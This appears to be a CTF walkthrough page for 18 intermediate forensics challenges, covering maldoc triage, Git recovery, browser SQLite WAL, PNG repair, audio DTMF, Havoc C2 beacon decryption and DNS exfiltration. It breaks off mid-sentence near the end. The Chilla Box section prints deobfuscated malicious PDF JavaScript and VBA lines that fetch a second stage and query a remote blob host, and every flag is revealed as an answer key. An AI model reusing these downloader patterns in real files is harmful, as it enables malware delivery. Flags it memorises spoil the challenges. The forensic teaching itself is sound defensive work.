This page covers 18 intermediate forensics challenges.
Each challenge has progressive hints and a hidden flag, so you can try it yourself before
reading the walkthrough.
Purpose of the wave
Wave 2 moves from identification to investigation. The artifacts now contain decoys, deleted
state, encoded traffic, or multiple evidence sources. A single strings command may reveal a
clue, but it rarely explains why that clue is trustworthy. The intended skill is building an
evidence chain: observe an anomaly, select the parser that understands it, recover the missing
context, and confirm the same conclusion another way.
The six Chilla Box tasks form one continuous document-forensics incident. The remaining
challenges stand alone but reinforce the same idea through Git objects, browser databases,
DNS labels, malformed media, packet captures, and packaged executables.
Investigation workflow
- Inventory the artifact and preserve timestamps, directory structure, and sidecar files.
- Establish a timeline or ordering field before decoding content. Packet sequence numbers,
Git ancestry, SQLite WAL frames, and archive layers all solve an ordering problem first. - Separate observations from conclusions. For example, a suspicious string is only useful
after identifying the object, record, request, or commit that owns it. - Decode one transformation at a time and save intermediate output. This makes mistakes in
base encodings, compression, byte order, or XOR keys easy to isolate. - Validate the final answer against the challenge story and flag format rather than accepting
the first plausible token.
Core tools
| Area | Tools used in this wave | Why they matter |
|---|---|---|
| Git forensics | git reflog, git fsck, git show |
Recover history that is no longer reachable from a branch |
| Browser artifacts | sqlite3, WAL-aware inspection |
Recover data absent from the main database view |
| Document analysis | pdfid, pdf-parser, olevba |
Expose automatic actions, scripts, and VBA behavior |
| Network analysis | Wireshark, tshark, Python |
Filter, reorder, decode, and reconstruct application data |
| Reverse engineering | PyInstaller extraction, bytecode tools | Move from a packaged executable back to program logic |
Toolkit
| Tool | Install | Used in |
|---|---|---|
Wireshark / tshark |
apt install wireshark tshark |
Steady Pulse, Wrong Number, Chilla Box |
sqlite3 |
apt install sqlite3 |
Bookmark, Cookie Jar |
oletools (olevba) |
pip install oletools |
Chilla Box |
| pdfid / pdf-parser | download the scripts | Chilla Box |
| poppler-utils | apt install poppler-utils |
Black Marker |
pngcheck |
apt install pngcheck |
Cut Short |
| pyinstxtractor | clone the repo | Frozen |
| pycdc | build with CMake | Frozen |
| sox, multimon-ng | apt install sox multimon-ng |
Off The Record |
| PyCryptodome | pip install pycryptodome |
Steady Pulse |
Challenge catalog
| Challenge | Points | Files | Focus |
|---|---|---|---|
| Big Haystack | 500 | haystack.zip |
forensics, misc, linux |
| Black Marker | 500 | memo.pdf |
forensics, document forensics |
| Bookmark | 500 | places.sqlite |
forensics, browser forensics |
| Chilla Box 1 | 300 | Invoice_88213.pdf, Invoice_88213.docm, capture.pcap |
forensics, network |
| Chilla Box 2 | 300 | Invoice_88213.pdf, Invoice_88213.docm, capture.pcap |
forensics, network |
| Chilla Box 3 | 300 | Invoice_88213.pdf, Invoice_88213.docm, capture.pcap |
forensics, network |
| Chilla Box 4 | 300 | Invoice_88213.pdf, Invoice_88213.docm, capture.pcap |
forensics, network |
| Chilla Box 5 | 300 | Invoice_88213.pdf, Invoice_88213.docm, capture.pcap |
forensics, network |
| Chilla Box 6 | 300 | Invoice_88213.pdf, Invoice_88213.docm, capture.pcap |
forensics, network |
| Cookie Jar | 700 | chrome_profile.zip |
browser forensics, SQLite WAL |
| Cut Short | 500 | diagnostic.png |
forensics, stego, file structure |
| Force Push | 700 | repo.zip |
Git forensics, unreachable objects |
| Frozen | 1000 | activator.exe |
PyInstaller, Python bytecode, cryptography |
| Git Oops | 500 | repo.zip |
forensics, git |
| Hash Hunt | 500 | samples.zip, TARGET_HASH.txt |
forensics, misc |
| Off The Record | 700 | voicemail.wav |
audio steganography, DTMF |
| Steady Pulse | 500 | traffic.pcap |
forensics, network |
| Wrong Number | 700 | dns.pcap |
DNS analysis, encoding, reassembly |
Big Haystack
Points: 500 points · Provided: haystack.zip
Two thousand log fragments in nested folders. Exactly one line matters.
Hint 1
You don't need to open 2,000 files. Which tool searches a whole directory tree at once?
Hint 2
grep -r for the flag prefix, with -n to see where it lives.
What it targets
| Skill | Why it matters |
|---|---|
| Recursive search | grep -r across a large tree — the bread-and-butter of triage. |
Walkthrough
1. Unpack
unzip -q haystack.zip
2. Search recursively
grep -rn 'Securinets{' logs/ returns the single matching line (operator note: ...).
3. Read the flag
That one line is the flag.
Show flag
Securinets{gr3p_d4sh_r_f1nds_1t}
Black Marker
Points: 500 points · Provided: memo.pdf
An internal memo came out of discovery with the sensitive line blacked out. The redaction was done by drawing a rectangle. That is not how redaction works.
Hint 1
Is the black bar part of the text, or drawn on top of it?
Hint 2
Extract the text layer: pdftotext memo.pdf -, or select all and copy.
What it targets
| Skill | Why it matters |
|---|---|
| Visual redaction is not deletion | A black box drawn over text leaves the text in the content stream — copy/paste or pdftotext recovers it. |
Walkthrough
1. Open it
A black bar covers the 'Recovery key:' line.
2. Extract the text layer
pdftotext memo.pdf - (or select-all + copy in a viewer). The text under the bar is right there in the output.
3. Read the flag
The recovery key is the flag.
Common pitfall
Zooming, screenshotting or adjusting brightness gets you nowhere: the bar is opaque. The rectangle is drawn after the text in the content stream, so it only hides the pixels. The characters themselves are still there to select or extract.
Show flag
Securinets{r3d4ct10n_1s_n0t_d3l3t10n}
Bookmark
Points: 500 points · Provided: places.sqlite
A Firefox profile database. One bookmark points somewhere it shouldn't.
Hint 1
Firefox stores history and bookmarks in SQLite. Which table holds the URLs?
Hint 2
SELECT url, title FROM moz_places;, then look closely at query strings.
What it targets
| Skill | Why it matters |
|---|---|
| Browser data is just SQLite | Read it with any SQLite tool. Warm-up for Cookie Jar. |
Walkthrough
1. Open the DB
sqlite3 places.sqlite (or DB Browser for SQLite).
2. Query places
SELECT url,title FROM moz_places; — a vault-login row has a URL with ?token=Securinets{...}.
3. Read the flag
The token in that URL is the flag.
Show flag
Securinets{br0ws3r_db_1s_just_sql1t3}
Chilla Box
Points: 6 × 300 points · Provided: Invoice_88213.pdf, Invoice_88213.docm, capture.pcap
This six-part incident chain used the same PDF, macro-enabled Word document, and packet capture. Each part asks for one step in the compromise sequence.
| Part | Question |
|---|---|
| 1 | An invoice landed in a finance mailbox and someone opened it. The help-desk salvaged the two attached files and the capture from that afternoon. You'll work all three across this set. |
| 2 | The invoice's embedded logic is wrapped in more than one layer. Peel it until it is readable and see what it reaches out to. The flag is the host it contacts, wrapped as Securinets{...}. |
| 3 | Once the invoice's logic resolves, it pulls something down as a next stage. Identify what it fetches and where it lives on that host. Submit as Securinets{container/filename}. |
| 4 | Now turn to the other document. It, too, acts by itself when opened. Look at how it performs its web request and name the exact component it uses for that. The flag is that component identifier, wrapped as Securinets{...}. |
| 5 | The other document hides its real target behind some string juggling. Undo it and read the precise endpoint it asks for. The flag is that exact path, wrapped as Securinets{...}. |
| 6 | You know what both documents wanted. Only one request actually left the box — the capture caught it. Recover what came back. That is the flag. |
Hint 1 (parts 1–3)
Start with pdfid on the PDF. Which keyword makes a PDF run something the moment it opens? Then dump that object with pdf-parser and decode one layer at a time.
Hint 2 (parts 4–5)
olevba extracts and flags the macro. The endpoint is built from Chr() calls plus a reversed base64 string; olevba --deobf does most of the work.
Hint 3 (part 6)
Filter the capture on the host you found. Only one of the two requests returns the real payload.
What it targets
| Skill | Why it matters |
|---|---|
PDF triage (pdfid / pdf-parser) |
Spotting /OpenAction + /JavaScript auto-exec. |
| Layered JS de-obfuscation | unescape("%xx") → String.fromCharCode(...) → cleartext. |
Maldoc triage (olevba / oledump) |
Auto-exec subs, MSXML2.ServerXMLHTTP, Chr()/StrReverse/base64 obfuscation. |
| Reconstructing an obfuscated VBA URL | Reverse a base64 string, decode it, prepend the Chr()-built scheme. |
| PCAP analysis | DNS resolution of the C2 host, following the HTTP GET, reading the response body. |
All three files are inert analysis artifacts — nothing runs on open, and the flag
is served inside the capture, so the whole thing solves offline with no live callout.
Walkthrough
1. The PDF auto-runs script (Q1)
pdfid Invoice_88213.pdf shows /OpenAction, /JavaScript, /JS. The catalog's/OpenAction entry fires object 6's JavaScript the moment the file opens.
2. Peel the JS layers (Q2, Q3)
pdf-parser.py -o 6 Invoice_88213.pdf (or just strings) shows the stream:
eval(unescape("%65%76%61%6c..."));
- Layer 1:
unescape("%xx…")→ aString.fromCharCode(...)call. - Layer 2: decode the char codes → readable final stage:
var host = "stginvoicecdn.blob.core.windows.net";
var stage = "/shared/update.docm?sv=2023-11-03&...&sig=q9Kd2Zr7hVvN0pMxLbT8";
app.launchURL("https://" + host + stage, true);
So the PDF pulls a second-stage .docm from the shared container onstginvoicecdn.blob.core.windows.net (an Azure Blob endpoint).
3. Triage the macro (Q4)
olevba Invoice_88213.docm extracts NewMacros.bas and flags AutoOpen andDocument_Open (both call Refresh), plus CreateObject,MSXML2.ServerXMLHTTP, Chr, StrReverse. The request object isMSXML2.ServerXMLHTTP.6.0.
4. De-obfuscate the endpoint (Q5)
The macro rebuilds the URL in three layers:
s=Chr(104)&Chr(116)&…→"https://".p = B64Dec(StrReverse("==Ad1Ilbz…"))— reverse the literal, then base64-decode.
Reversing and base64-decoding yields:
stginvoicecdn.blob.core.windows.net/private/flag.txt?sv=2023-11-03&...&sig=Wj4mB1sXc6yQ8aE3nR5t
olevba --deobf (or --reveal) collapses the Chr()/StrReverse chain for you.
The specialised endpoint is /private/flag.txt on the same blob account.
5. Read the flag out of the capture (Q6)
Open capture.pcap. There's a DNS A query for stginvoicecdn.blob.core.windows.net
(answer 20.60.191.4), then two HTTP conversations to it:
GET /shared/update.docm?…— the stage-2 doc (decoy body).GET /private/flag.txt?…— Follow → HTTP/TCP Stream; the200 OKbody is:
Securinets{m4ld0c_2_bl0b_3xf1l_ch41n}
strings capture.pcap | grep Securinets works too — the C2 leg is plain HTTP.
Show all six flags
| Part | Flag |
|---|---|
| 1 | Securinets{/OpenAction} |
| 2 | Securinets{stginvoicecdn.blob.core.windows.net} |
| 3 | Securinets{shared/update.docm} |
| 4 | Securinets{MSXML2.ServerXMLHTTP.6.0} |
| 5 | Securinets{/private/flag.txt} |
| 6 | Securinets{m4ld0c_2_bl0b_3xf1l_ch41n} |
Cookie Jar
Points: 700 points · Provided: chrome_profile.zip
We pulled a Chromium profile off a suspect's laptop. They insist they "cleared their history for good." The database might tell a different story.
Hint 1
List every file in the profile. Why are there History-wal and History-shm files next to History?
Hint 2
The deletion lives in the WAL. What does a copy of the main database show if you open it without the WAL?
What it targets
"Cleared history" isn't gone when the browser uses SQLite in WAL mode. The delete lives
in History-wal and hasn't been checkpointed into History, so opening the main DB alone
(ignoring the WAL) shows the pre-delete state. The same technique recovers deleted chat messages in
Signal Lost (Wave 3).
| Skill | Why it matters |
|---|---|
Chromium profile layout (History, Cookies, Bookmarks) |
Standard browser-forensics triage |
SQLite WAL recovery (open without the -wal) |
Recovering "deleted" browser records |
| Evidence preservation (work on a copy) | A checkpointing tool destroys the recovery |
| Reading a secret from a URL parameter | Tokens leak in query strings constantly |
Walkthrough
1. Open the History DB
sqlite3 History "SELECT url,title FROM urls ORDER BY last_visit_time;"
Normal browsing (mail, wiki, portal, Google…) — but nothing incriminating. The vault
visit the story implies is absent: it was "cleared."
2. Notice it's WAL mode with a pending -wal
The profile ships History, History-wal, History-shm. Opening History normally replays
the WAL → the deletion is applied → the row stays hidden.
3. Recover: open the main DB without the WAL
cp History rec.db # main file ONLY - no -wal / -shm
sqlite3 rec.db "SELECT url FROM urls WHERE url LIKE '%vault%';"
https://vault.agilogix.tn/unlock?session=Securinets{h1st0ry_l1v3s_1n_th3_w4l}
The session= parameter is the flag.
Preserve first. Opening the original
Historyin a GUI such as DB Browser can
checkpoint the WAL, which writes the deletion into the main file and destroys the row for
good. Always work on copies.
The red herrings
Bookmarkscontains plausible internal links, includingvault.agilogix.tn/login
(not the flag) and areset?token=RESET_7c1e94ab— real-looking but worthless.Cookieshas ordinary session cookies (SID,csrftoken,NID) — scenery that looks
worth checking but holds nothing.
Alternative paths (all valid)
strings History | grep vault— the deleted row's bytes persist as a free cell in the main
DB page (pre-delete state), so a quick strings/grep also finds it. The WAL method is the
"clean" intended path; this is the pragmatic one.- A SQLite WAL/freelist recovery tool (
walitean, manual frame parsing). sqlite3 History-walinspection, or.recoveron a copy.
Further reading: SQLite write-ahead logging and the
WAL file format.
Show flag
Securinets{h1st0ry_l1v3s_1n_th3_w4l}
Cut Short
Points: 500 points · Provided: diagnostic.png
A diagnostic screenshot that looks harmlessly cropped. The bottom was chopped off — but only in the header.
Hint 1
The image looks cropped, but is the pixel data actually shorter? Compare the IHDR dimensions with the amount of image data.
Hint 2
Edit the height in IHDR, and remember that every PNG chunk carries a CRC.
What it targets
| Skill | Why it matters |
|---|---|
| PNG IHDR structure | The declared height can lie; the pixel data for the hidden rows is still present. |
Walkthrough
1. Notice the crop
The image ends abruptly. The real content is taller than the header claims.
2. Edit the IHDR height
Height is a big-endian uint32 at file offset 20 (sig 8 + len 4 + 'IHDR' 4 + width 4). It currently reads 150. Raise it to the true 300, then recompute the IHDR CRC (the 4 bytes at offset 29 = CRC32 of IHDR + the 13 data bytes), or viewers will reject the file:
import struct, zlib
d = bytearray(open("diagnostic.png", "rb").read())
d[20:24] = struct.pack(">I", 300) # new height
d[29:33] = struct.pack(">I", zlib.crc32(d[12:29])) # CRC over "IHDR" + 13 data bytes
open("fixed.png", "wb").write(d)
pngcheck -v fixed.png should now report no CRC error. Tools like pcrt.py automate the same repair.
3. Read the flag
With full height, the bottom rows render and the flag appears.
Common pitfall
Changing the height without fixing the CRC. Some viewers then refuse the file, and it looks like the edit was wrong. The IDAT holds all 300 scanlines; the header just under-reports the height, so viewers stop early.
Show flag
Securinets{r41s3_th3_1hdr_h31ght}
Force Push
Points: 700 points · Provided: repo.zip
Our platform team had an incident last week. A developer committed the production credentials for the logistics API, noticed about an hour later, and "removed" them — rolled the branch back and force-pushed over the mistake.
Hint 1
Look at the commit dates. Does this history look like it was rewritten?
Hint 2
Branches are just pointers. Where does Git remember where a branch used to point? (git reflog, or git fsck --no-reflogs)
What it targets
The real lesson is unreachable is not deleted. Git is a content-addressed object
store; branches are just pointers into it. Moving a pointer does not remove what it used
to point at.
Concretely, the task covers:
| Skill | Why it matters outside the CTF |
|---|---|
git reflog recovers rolled-back branch positions |
The standard "I destroyed my work with reset --hard" rescue |
git fsck --no-reflogs --lost-found finds orphaned objects |
How you audit a repo you were handed, with no reflog |
git show <sha>:<path> reads a file without checkout |
Inspecting history without disturbing the working tree |
| Force-pushing does not unpublish a secret | The single most important operational takeaway |
That last row is the point of the whole task. Every real credential leak ends with
someone saying "it's fine, I force-pushed" — and it is not fine. The only fix is
rotation, and this task shows why.
Walkthrough
1. Look at what is obviously there
unzip repo.zip && cd logi-api
git log --oneline
10d632c gitignore secrets, add example config, rotate keys
8380564 add api tests
ad1ff23 add shipment lookup endpoint
239047f add yaml config loader
0d0f9c4 initial commit: health endpoint
Five commits, nothing incriminating. A naive grep -r Securinets . returns nothing,
because the only copy lives in a compressed git object.
2. Read the scenery
DEPLOY.md contains the breadcrumb:
2026-01-23: all production credentials were rotated. The old master token in
config/keys/legacy_api.keyis expired and kept only for the v1 client shim.
This confirms a leak happened and dates it. It also baits the red herring (below).
3. Realise the history is shorter than the story
The commit dates jump 2026-01-12 → 2026-01-23, with three commits landing inside
half an hour on the 23rd. A repo where a third of the history appears in one burst,
right when DEPLOY.md says credentials were rotated, is a repo whose history was
rewritten.
4. Recover — path A, reflog
git reflog
10d632c HEAD@{0}: commit: gitignore secrets, add example config, rotate keys
8380564 HEAD@{1}: commit: add api tests
ad1ff23 HEAD@{2}: commit: add shipment lookup endpoint
239047f HEAD@{3}: reset: moving to HEAD~3 <-- the rewrite
e585199 HEAD@{4}: commit: add api tests
267dcdb HEAD@{5}: commit: add shipment lookup endpoint
a5b056e HEAD@{6}: commit: add production credentials for deploy <-- there it is
239047f HEAD@{7}: commit: add yaml config loader
git show a5b056e:config/secrets.yml
# production credentials - DO NOT COMMIT
database:
host: db-prod-01.agilogix.internal
user: logi_api
password: Tr0ub4dour&3-prod
aws:
access_key_id: AKIA4YFAKE2XMPLQ7T3B
secret_access_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
api:
master_token: Securinets{g1t_r3fl0g_n3v3r_f0rg3ts}
5. Recover — path B, fsck
git fsck --no-reflogs --lost-found
dangling commit e58519986873524af022350a00c965a4061cae9e
git log --oneline e58519986873 # walk back from the orphaned tip
git show a5b056e:config/secrets.yml
--no-reflogsis required. Plaingit fscktreats reflog entries as reachable
roots, so it reports nothing dangling while the reflog exists. If you rungit fsck --lost-found, see empty output, and conclude the repo is clean, the tool has
misled you. That's genuine Git behaviour, and worth remembering on real repos.
The red herring
config/keys/legacy_api.key:
legacy_master_token: SEC_5f3a91c4e77b28d0a1449e6b3cc80f12
Findable in seconds with grep -ri token ., correctly shaped, and sitting in the current
checkout where you look first. DEPLOY.md explicitly calls it expired, so the information
needed to dismiss it is right there. Read the documentation before trusting a grep hit.
config/secrets.example.yml plays the same role more gently — all CHANGEME, obviously
a template.
Alternative paths that legitimately work
git cat-file --batch-all-objects --batch-checkthen filtering for blobs, and reading
each. Brute-force but valid — the repo is small enough.git log -g --all -p(reflog-walking with patches) dumps the secret directly.- Unpacking
.git/objectsby hand withzlibin Python. Slow, but a player who does not
knowreflogcan still get there.
All acceptable. None require guessing.
Show flag
Securinets{g1t_r3fl0g_n3v3r_f0rg3ts}
Frozen
Points: 1000 points · Provided: activator.exe
We seized a "license activator" that ships with a cracked internal tool. It won't cough up anything without the right license password and activation token — and the two aren't written anywhere obvious.
Hint 1
strings shows Python-looking names. Which tool bundles Python into an exe, and how do you unpack it?
Hint 2
After decompiling, the password and token are computed, not stored. Watch out for a second table that looks almost identical.
What it targets
Un-freezing a PyInstaller binary and reading Python bytecode. The secret is not a string in the
file — it is computed by convoluted code, so strings and "just run it" both fail. You have to
recover and read the source.
| Skill | Why it matters |
|---|---|
pyinstxtractor (unpack PyInstaller) |
Standard first move on any frozen Python exe |
pycdc / decompiler on the .pyc |
Recover readable source (decompyle3/uncompyle6 don't do 3.9 — pycdc does) |
| Tracing obfuscated key derivation | The password/token are built by code, across several pieces |
| Reproducing a home-rolled KDF + AES | Turn the derived pair into the flag |
Walkthrough
1. Unpack
python pyinstxtractor.py activator.exe
→ activator.exe_extracted/ with activator.pyc (the entry point pyinstxtractor names).
2. Decompile
decompyle3/uncompyle6 reject 3.9 — use pycdc (Decompyle++):
pycdc activator.exe_extracted/activator.pyc
3. Read the derivation (this is the challenge)
class _Cfg:
A = 90; B = 7
_s = [9,82,11,26,4,78,219,216,235,247,195,248,156,133,142,245]
_legacy = [ ...,246 ] # DECOY (last byte differs)
def _rk(i): return (_Cfg.A + i*_Cfg.B) & 255
def _pw(): return bytes(_Cfg._s[i] ^ _rk(i) for i in range(len(_Cfg._s))).decode()
_SALT = ["ag","il","og"]
def _salt(): return ("".join(_SALT)+"ix").encode() # b"agilogix"
def _tok(pw):
h = pw.encode()+_salt()
for _ in range(5000): h = sha256(h).digest()
return h.hex()[:16]
- password = each
_s[i]XOR the rolling key(90 + 7*i) & 255→S3cur3_Sync_2026. - token = 5000-round SHA-256 of
password + "agilogix", first 16 hex →b7db6c8cd434a13c.
Reproducing both offline:
import hashlib
s = [9,82,11,26,4,78,219,216,235,247,195,248,156,133,142,245]
pw = bytes(v ^ ((90 + 7*i) & 255) for i, v in enumerate(s)).decode()
h = pw.encode() + b"agilogix"
for _ in range(5000):
h = hashlib.sha256(h).digest()
print(pw, h.hex()[:16]) # S3cur3_Sync_2026 b7db6c8cd434a13c
- Trap:
_legacylooks like_s(only the last byte differs) → yieldsS3cur3_Sync_2025,
whose token fails. Reading only_legacy, or skimming the salt assembly, gets you a wrong pair.
4. Unlock
The flag is AES-CBC, key = sha256(pw + ":" + token)[:32], blob embedded (base64) as _BLOB.
Either run the exe and type the pair, or reimplement:
activator.exe
license password: S3cur3_Sync_2026
activation token: b7db6c8cd434a13c
→ Securinets{fr0z3n_pyc_st1ll_t4lks}
Trick & red herring
- Trick: the pair is computed by code, not stored; only reading the decompiled logic yields it.
Running blind is a dead end (the input gate re-derives and compares). - Red herring: the
_legacylist (one byte off) is a plausible-but-wrong password source.
Further reading: pyinstxtractor and
pycdc (check its README for which bytecode versions it supports).
Show flag
Securinets{fr0z3n_pyc_st1ll_t4lks}
Git Oops
Points: 500 points · Provided: repo.zip
"I committed a credential, then removed it in the next commit. It's gone." It is not gone.
Hint 1
The file is gone from the working tree. Is it gone from history?
Hint 2
git log -p shows every change, including deletions.
What it targets
| Skill | Why it matters |
|---|---|
| Git keeps history | A file deleted in a later commit still lives in the earlier one. Warm-up for Force Push. |
Walkthrough
1. Unzip and enter
unzip -q repo.zip -d repo && cd repo
2. Read the history
git log --oneline shows a commit add deploy credentials (temp) followed by oops, remove committed credentials.
3. Show the deleted content
git log -p (or git show <sha-of-add-commit>) prints the deploy.key that was added and then removed. PRIVATE_TOKEN= is the flag.
Common pitfall
grep -r on the working tree finds nothing because the file was deleted from HEAD. The secret only exists in history, so you have to read it.
Show flag
Securinets{g1t_l0g_r3m3mb3rs_4ll}
Hash Hunt
Points: 500 points · Provided: samples.zip, TARGET_HASH.txt
Three hundred near-identical notes.
TARGET_HASH.txttells you the SHA-256 of the one that matters. Find it.
Hint 1
The content can't tell the files apart. What can?
Hint 2
Hash every sample with sha256sum and compare against the target.
What it targets
| Skill | Why it matters |
|---|---|
| Hashes as fingerprints | Identifying one file out of many by content hash. |
Walkthrough
1. Unpack
unzip -q samples.zip
2. Hash everything and match
sha256sum sample_*.txt | grep -iF "$(tr -dc '0-9a-fA-F' < TARGET_HASH.txt)"
tr -dc keeps only hex characters, so a trailing newline or Windows \r\n inTARGET_HASH.txt can't break the match.
3. Read the flag
cat the matching file; its operator note: line is the flag.
Common pitfall
Every file looks like operator note: Securinets{...}, so grepping for the flag format gives 300 candidates. Only the file whose hash matches is real, and there's no way to spot it by eye.
Show flag
Securinets{h4sh_m4tch3s_th3_f1l3}
Off The Record
Points: 700 points · Provided: voicemail.wav
Someone left this voicemail on an old answering machine at 3 a.m. It sounds like static and garbled noise — but the caller went to some trouble to record it.
Hint 1
Listening isn't enough. Look at the audio as a spectrogram.
Hint 2
The spectrogram text ends in _, so the flag continues. The tone bursts right after it are telephone keypad tones (DTMF).
What it targets
One audio file can carry information in several independent domains, and finding one is
not finishing. A player must inspect the visual (spectrogram) and tonal (DTMF)
representations, not just listen.
| Skill | Why it matters outside the CTF |
|---|---|
Reading a spectrogram (Audacity / Sonic Visualiser / sox -n spectrogram) |
The single most useful audio-forensics view |
Recognising DTMF and decoding it (multimon-ng -a DTMF) |
Real telephony/keypad capture analysis |
| Recognising reversed speech | Common audio-stego and prank technique |
| Not stopping at the first hit | The whole point — the flag needs two of the three channels |
Walkthrough
1. Listen, then look
Played back, the file is mostly harsh tones and, at the end, garbled speech. Listening
alone yields nothing usable — the cue to switch to a spectrogram.
2. Spectrogram → the text half
Audacity (Spectrogram track view), Sonic Visualiser, or:
sox voicemail.wav -n spectrogram -o out.png
The 1–6 s region plainly renders, in the 0.6–3.6 kHz band:
SP3CTR0_4ND_DTMF_
Underscores are rendered literally (low horizontal bars), and the trailing underscore
signals that the string continues — the flag isn't complete yet.
3. The tone burst → DTMF
Right after the text (~6.5–7.5 s) are four two-tone bursts — the classic DTMF look (one low +
one high band each). Decode:
sox voicemail.wav -t raw -r 22050 -e signed -b 16 -c 1 - | multimon-ng -a DTMF -t raw -
DTMF: 7
DTMF: 3
DTMF: 1
DTMF: 8
→ 7318. (multimon-ng needs raw/sox piping — it only takes WAV directly on some builds.)
4. Assemble
Spectrogram text + DTMF digits, joined on the trailing underscore:
Securinets{SP3CTR0_4ND_DTMF_7318}
What you see is what you type — uppercase, underscores as shown, no guessing about
case/separators.
The red herring
The last ~3 s (8.5–11.6 s) is reversed speech. A curious player will reverse it:
sox voicemail.wav out.wav reverse # then play out.wav
…and hear: "there is nothing to hear on this channel, keep looking elsewhere." It says
explicitly that it's a dead end. It also looks "interesting" in the spectrogram (speech
formants), which can pull your attention away from the DTMF bursts.
Alternative paths that legitimately work
- Sonic Visualiser instead of Audacity/sox for the spectrogram — same text.
- Decoding DTMF by ear or by hand from the two-tone frequencies (
697/770/852/941×1209/1336/1477) — slow but valid. - Feeding the whole file to
multimon-ngwith several demods enabled — DTMF still surfaces;
the reversed speech produces nothing.
No brute force; both halves are directly recoverable.
Show flag
Securinets{SP3CTR0_4ND_DTMF_7318}
Steady Pulse
Points: 500 points · Provided: traffic.pcap
A workstation on the finance segment was pulled for a routine review. Nothing crashed, nothing alerted, the user noticed nothing wrong. Someone on the blue team just had a feeling about the box and grabbed the sensor's capture before it was reimaged.
Hint 1
Look at the timing of the POST requests. What kind of traffic calls home at a fixed interval?
Hint 2
The first check-in is longer than the rest. Research how Havoc's Demon agent sends its session key.
What it targets
| Skill | Why it matters |
|---|---|
| Spotting beaconing in a capture | Regular, low-variance callbacks to one destination are the canonical C2 tell. |
| Recognising a Havoc "Demon" HTTP profile | Binary POST bodies, magic/agent-id framing, encrypted metadata. |
| The Havoc key-leak weakness | The agent generates its AES-256 key + IV on the victim and sends them in the clear in the first check-in. Capture the traffic → decrypt everything. |
| AES-256-CTR decryption of captured payloads | Turning recovered key material into plaintext beacon output. |
This mirrors a real, publicly documented property of
Havoc's default HTTP listener. No implant, loader,
or working C2 ships with the challenge, only a capture to analyse.
Walkthrough
1. Notice the beaconing
Open traffic.pcap in Wireshark. Eight short HTTPS-port (443) HTTP conversations
from 10.10.10.20 to 45.61.136.212, each a POST with a smallapplication/octet-stream body. Statistics → Conversations, or just the frame times,
show the POSTs land every ~45 s (±4 s jitter) — a textbook beacon. The Host:
header (cdn-eu4.content-delivery.net) and rotating URIs are cover; the destination IP
never changes.
2. Identify the protocol
Follow the first POST body (Follow → TCP Stream, switch to hex/raw). It is not JSON or
form data — it's a binary blob. The framing (4-byte agent id, big-endian size/command
fields, then ciphertext) is a Havoc Demon package. The first check-in carries extra
bytes the others don't.
3. Pull the key out of the first check-in
The first POST body is laid out as:
AgentID (4) | AES key (32) | AES IV (16) | AES-CTR( size(4) | cmd(4) | metadata )
Bytes 4–36 are the AES-256 key, bytes 36–52 the IV — sent in cleartext. That's
the whole game: Havoc's agent ships its own session key on first contact.
4. Decrypt the beacons
Every body is AgentID(4) (plus the 48-byte key blob on the first one only) followed by
AES-256-CTR ciphertext, counter initialised to the IV, reset per package. Decrypt each
one: metadata (hostname WKS-FIN-07, user bayrem), a whoami, an ipconfig, and one
command-output beacon whose plaintext is a looted handover.txt — the flag is on the last
line.
A minimal solver that reads only the packet capture is reproduced below.
import struct
from Crypto.Cipher import AES
from Crypto.Util import Counter
data = open("traffic.pcap","rb").read(); off = 24; bodies = []
while off < len(data):
_,_,cap,_ = struct.unpack("<IIII", data[off:off+16]); off += 16
pkt = data[off:off+cap]; off += cap
ihl = (pkt[14] & 0xf)*4; doff = (pkt[14+ihl+12] >> 4)*4
p = pkt[14+ihl+doff:]
if p.startswith(b"POST "):
bodies.append(p[p.index(b"\r\n\r\n")+4:])
key, iv = bodies[0][4:36], bodies[0][36:52]
def dec(e):
c = Counter.new(128, initial_value=int.from_bytes(iv,"big"))
return AES.new(key, AES.MODE_CTR, counter=c).decrypt(e)
for i,b in enumerate(bodies):
print(i, dec(b[52:] if i==0 else b[4:])[8:])
Show flag
Securinets{th3_f1rst_ch3ck1n_l34ks_th3_k3y}
Wrong Number
Points: 700 points · Provided: dns.pcap
An endpoint on our network kept making DNS lookups for a domain nobody recognises, all night. The traffic was captured. Marketing swears it's just a CDN.
Hint 1
Most lookups are ordinary. Which domain has long, hex-looking subdomains?
Hint 2
Every chunk appears twice. De-duplicate, keep capture order, and decode the hex.
What it targets
DNS as a covert exfiltration channel. No file transfer, no HTTP — data leaves the
network encoded in the names being looked up. The player learns to recognise the pattern
(many lookups of long, high-entropy subdomains under one domain), extract the labels, and
decode them.
| Skill | Why it matters outside the CTF |
|---|---|
Reading DNS from a pcap (tshark/Wireshark) |
First move on any capture with no obvious payload |
| Spotting exfil-shaped queries among noise | The core detection skill for DNS tunneling |
| Decoding hex-in-subdomains | The most common DNS-exfil encoding |
| Handling retransmissions (dedupe) | Real captures repeat packets; naive concat corrupts |
This is the easy member of the exfil family;
Silent Exfil in Wave 3 is the
hard sibling (out-of-order sequence + a rebuilt PNG + crypto).
Walkthrough
1. Look at the DNS
tshark -r dns.pcap -Y 'dns.flags.response==0' -T fields -e dns.qry.name
74 queries. Most are ordinary (pool.ntp.org, deb.debian.org, cdn.jsdelivr.net, …) —
but a cluster stands out: long hex-looking labels under one domain, each appearing twice:
5365637572696e657473.sync.datasync-cdn.net
5365637572696e657473.sync.datasync-cdn.net
7b646e735f7175337231.sync.datasync-cdn.net
7b646e735f7175337231.sync.datasync-cdn.net
33735f6c33346b5f6279.sync.datasync-cdn.net
...
2. Isolate the exfil and dedupe
Filter to the one suspicious domain, strip the label, drop the duplicate retransmissions
(keep first occurrence, preserve order):
tshark -r dns.pcap -Y 'dns.flags.response==0 && dns.qry.name contains "sync.datasync-cdn.net"' \
-T fields -e dns.qry.name \
| sed 's/\.sync\..*//' | awk '!seen[$0]++'
3. Concatenate and decode
The labels are hex. Join in capture order, un-hex:
... | tr -d '\n' | xxd -r -p
Securinets{dns_qu3r13s_l34k_by73s}
The wrinkles
- Retransmissions. Every exfil label appears twice, adjacent. Concatenating without
dedupe doubles every chunk → garbage. Any ofawk '!seen',uniq(they're adjacent), orsort -u(labels are unique) fixes it. This is the one real "gotcha." - Noise. 66 of the 74 queries are benign lookups to real domains. A naive
grep -o '[0-9a-f]*'across everything pulls in junk; notice that the exfil all sits
under a single, unusual domain and filter to it. The signal is clearly distinguishable:
one domain, uniform label length, high entropy, paired queries.
Alternative paths that legitimately work
- Wireshark GUI:
Statistics > DNS, or sort the packet list by query name — the exfil
